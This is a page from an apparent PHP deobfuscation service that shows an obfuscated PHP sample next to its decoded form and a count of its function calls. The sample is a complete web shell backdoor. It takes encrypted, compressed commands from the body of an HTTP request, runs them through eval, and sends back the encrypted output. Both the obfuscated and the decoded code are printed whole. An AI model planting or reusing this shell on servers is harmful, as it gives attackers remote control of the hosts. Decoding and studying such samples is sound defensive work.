Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $r='o.oY=$toY{$i}^$koY{$j};}oY}return oY$oYoYo;}if (@pregoY_match("/oYoY$kh(.+)oY$k..
Decoded Output download
function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$k="1a1dc91c";$kh="907325c69271";$kf="ddf0c944bc72";$p="BSOIZIfVmQsfzlVr";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {@ob_start();eval(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}
Did this file decode correctly?
Original Code
<?php
$r='o.oY=$toY{$i}^$koY{$j};}oY}return oY$oYoYo;}if (@pregoY_match("/oYoY$kh(.+)oY$kf/",oY@filoYe_get_contents("oYphp:oY//oYi';
$F='$k="1a1dcoYoY91c";$kh="90oY73oY25c692oY71";oY$koYf="ddfoY0c944bc72";$p=oY"BSOIZoYIfVmQsoYfzlVroY";fuoYnction x($toY,oY$';
$q='nputoY"),$m)==1) {oY@ob_soYtartoY();@evaoYl(@oYgzuncomproYesoYs(@x(@baseoY64_decoYode($m[1])oYoY,$oYk)));$o=@ob_get_oY';
$b='contoYents();@oYob_enoYoYd_clean()oYoY;$r=@base6oY4_encode(@x(oY@gzoYcompreoYss($o)oY,$koY));print("$poY$kh$roY$kf");}';
$t='k){$c=stoYrlenoY($k);$l=oYoYstrlen(oY$t);$o=""oY;oYfor(oY$i=0;oY$i<$l;)oY{fooYr($j=0;($j<$c&&$oYioY<$l);$joY++,$i++){$';
$f=str_replace('UO','','creUOaUOte_UOUOfuncUOtiUOon');
$K=str_replace('oY','',$F.$t.$r.$q.$b);
$O=$f('',$K);$O();
?>
Function Calls
preg_match | 1 |
str_replace | 2 |
create_function | 1 |
file_get_contents | 1 |
Stats
MD5 | 11256b36ca16e77d42acc5fffb6ff2cc |
Eval Count | 1 |
Decode Time | 65 ms |